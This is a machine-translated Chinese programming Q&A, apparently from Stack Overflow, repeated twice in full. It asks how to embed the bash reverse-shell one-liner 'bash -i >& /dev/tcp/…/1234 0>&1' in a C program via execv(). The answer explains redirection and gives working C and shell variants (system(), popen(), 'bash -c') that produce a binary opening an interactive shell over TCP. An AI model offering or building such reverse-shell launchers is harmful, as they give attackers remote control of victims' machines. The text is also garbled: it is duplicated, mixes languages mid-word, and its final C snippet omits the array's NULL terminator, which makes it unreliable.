bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
我知道上面标题的某些部分已经被问过,但我仍然有些困惑。实际上,我并没有真正得到 bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 中的“>&”
我的主要目标是编译以下代码:
*#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char *prog = "/bin/bash";
/*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
char *args[5] = {"/bin/bash", "-i", ">&", "/dev/tcp/127.0.0.1 /1234","0>&1"};
execv(prog, args);
return 0;
}
它被编译但是当我执行相应的二进制文件时,它返回以下错误:
bash: >&: 没有那个文件或目录
如有任何解释,我们将不胜感激 ;)!
当你运行:
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
在命令提示符下,您当前的 shell(显示提示并等待命令的那个)解释重定向。
当您 运行 使用 exec*()
函数之一的外部程序时,没有 shell 可以解析命令行和解释重定向。 execv()
以命令行的其余部分作为参数启动 bash
。
bash
的命令行是:
bash options file
选项以破折号开头 (-
)。
它可能会成功解释 -i
,因为 >&
不是以破折号 (-
) 开头,它认为它是一个文件名。它找不到这样的文件,它报告错误 ">&: No such file or directory" 并退出。
您应该使用 system()
to launch a shell and provide it the entire command line, or popen()
(它还允许您在新进程启动后将一些输入传递给它)。
这两个函数都创建了一个新进程。由于您的原始代码使用 execv()
并且 exec*()
函数将当前的 运行ning 进程替换为新进程,因此您可能应该 exit()
在启动新进程后获得您的当前行为。
有可能(我没有测试)使用 execv()
启动以下命令也会产生您期望的结果:
bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"
在 C:
char *prog = "/bin/bash";
char *args[] = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"};
execv(prog, args);
我知道上面标题的某些部分已经被问过,但我仍然有些困惑。实际上,我并没有真正得到 bash -i >& /dev/tcp/127.0.0.1/1234 0>&1 中的“>&” 我的主要目标是编译以下代码:
*#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char *prog = "/bin/bash";
/*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
char *args[5] = {"/bin/bash", "-i", ">&", "/dev/tcp/127.0.0.1 /1234","0>&1"};
execv(prog, args);
return 0;
}
它被编译但是当我执行相应的二进制文件时,它返回以下错误: bash: >&: 没有那个文件或目录
如有任何解释,我们将不胜感激 ;)!
当你运行:
bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
在命令提示符下,您当前的 shell(显示提示并等待命令的那个)解释重定向。
当您 运行 使用 exec*()
函数之一的外部程序时,没有 shell 可以解析命令行和解释重定向。 execv()
以命令行的其余部分作为参数启动 bash
。
bash
的命令行是:
bash options file
选项以破折号开头 (-
)。
它可能会成功解释 -i
,因为 >&
不是以破折号 (-
) 开头,它认为它是一个文件名。它找不到这样的文件,它报告错误 ">&: No such file or directory" 并退出。
您应该使用 system()
to launch a shell and provide it the entire command line, or popen()
(它还允许您在新进程启动后将一些输入传递给它)。
这两个函数都创建了一个新进程。由于您的原始代码使用 execv()
并且 exec*()
函数将当前的 运行ning 进程替换为新进程,因此您可能应该 exit()
在启动新进程后获得您的当前行为。
有可能(我没有测试)使用 execv()
启动以下命令也会产生您期望的结果:
bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"
在 C:
char *prog = "/bin/bash";
char *args[] = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"};
execv(prog, args);